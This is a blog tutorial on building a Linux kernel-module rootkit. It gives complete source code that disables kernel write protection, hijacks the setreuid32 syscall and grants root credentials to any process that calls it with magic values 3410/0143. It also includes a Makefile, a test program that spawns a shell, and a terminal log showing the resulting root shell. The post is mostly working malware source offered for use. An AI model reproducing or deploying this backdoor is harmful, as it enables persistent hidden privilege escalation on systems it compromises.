Hi. In this post I’ll show you how to change the process credentials through kernel modules. In a such way you can make your own rootkit(s): i.e. when you performs a pre-established action, the module will give you a root access.

First of all we need to know where these credentials are kept: in the kernel versions < 2.6.29 we find all this informations in the “task_struct” structure. This structure is defined in “linux/sched.h”:

struct task_struct { volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ void *stack; atomic_t usage; unsigned int flags; /* per process flags, defined below */ unsigned int ptrace; ... struct list_head children; /* list of my children */ struct list_head sibling; /* linkage in my parent's children list */ struct task_struct *group_leader; /* threadgroup leader */ ... /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; struct group_info *group_info; ... };

In this structure are maintained all the task informations: some of these are the process credentials like the UID, EUID, ecc…

So if we’ll modify this field we can also modify the process credentials. We can set this field to 0 (root) as follows:

current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0;

Where “current” is macro for the task struct of the current process.

Previously I have specified “in the kernel versions < 2.6.29”, now you might ask: but the newer ones?

Since from the kernel versions >= 2.6.29 the “task_struct” was changed: this happens because was changed the logic of how access to the process credentials.

I suggest to read this paper (very very short paper) that explain detailed the new way to access/change the process credentials.

Now we have a new structure in the “task_struct”:

struct task_struct { ... const struct cred *cred; /* effective (overridable) subjective task * credentials (COW) */ ... };

The new structure “cred” is defined in “linux/cred.h”:

struct cred { ... uid_t uid; /* real UID of the task */ gid_t gid; /* real GID of the task */ uid_t suid; /* saved UID of the task */ gid_t sgid; /* saved GID of the task */ uid_t euid; /* effective UID of the task */ gid_t egid; /* effective GID of the task */ uid_t fsuid; /* UID for VFS ops */ gid_t fsgid; /* GID for VFS ops */ ...

In this struct we can find all the process credentials: we can modify them in this way:

struct cred *new; new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); }

Now I’ll explain the used functions through the paper.

The “prepare_creds()”:

To alter the current process's credentials, a function should first prepare a new set of credentials by calling: struct cred *prepare_creds(void); this locks current->cred_replace_mutex and then allocates and constructs a duplicate of the current process's credentials, returning with the mutex still held if successful. It returns NULL if not successful (out of memory).

The “commit_creds()”:

When the credential set is ready, it should be committed to the current process by calling: int commit_creds(struct cred *new); This will alter various aspects of the credentials and the process, giving the LSM a chance to do likewise, then it will use rcu_assign_pointer() to actually commit the new credentials to current->cred, it will release current->cred_replace_mutex to allow ptrace() to take place, and it will notify the scheduler and others of the changes. This function is guaranteed to return 0, so that it can be tail-called at the end of such functions as sys_setresuid().

We have now enough informations to create our first rootkit. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “__NR_setreuid32” syscall and check for the ruid and euid.

I have shown two ways to change the process credentials: we can unify them in a single kernel module simply checking for the kernel version using this macro:

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) ... #else ... #endif

Now we can write the rootkit “rootkit.c”:

#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> #include <linux/version.h> #include <linux/types.h> #include <linux/unistd.h> #include <asm/cacheflush.h> #include <asm/page.h> #include <linux/sched.h> #include <linux/kallsyms.h> unsigned long *syscall_table = (unsigned long *)0xc05d3180; asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid); asmlinkage int new_setreuid (uid_t ruid, uid_t euid) { struct cred *new; if ((ruid == 3410) && (euid == 0143)) { printk(KERN_ALERT "[Correct]

"); #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; #else new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); } #endif return orig_setreuid (0, 0); } return orig_setreuid (ruid, euid); } static int init(void) { printk(KERN_ALERT "

HIJACK INIT

"); write_cr0 (read_cr0 () & (~ 0x10000)); orig_setreuid = syscall_table [__NR_setreuid32]; syscall_table [__NR_setreuid32] = new_setreuid; write_cr0 (read_cr0 () | 0x10000); return 0; } static void exit(void) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_setreuid32] = orig_setreuid; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "MODULE EXIT

"); return; } module_init(init); module_exit(exit);

I suggest to read my previous post to better understand this code.

The Makefile:

obj-m := rootkit.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

A simple script to test it (“test.c”):

#include int main () { setreuid (3410, 0143); system ("/bin/sh"); return 0; }

Now I compile the kernel module:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ make make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.o /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:63: warning: assignment makes pointer from integer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:64: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:75: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules CC /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.mod.o LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic" spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$

I compile the script:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ gcc test.c -o test

And finally test all:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ sudo insmod rootkit.ko spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ ./test # whoami root # exit spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod

Enjoy this: for any questions use comments.

Bye.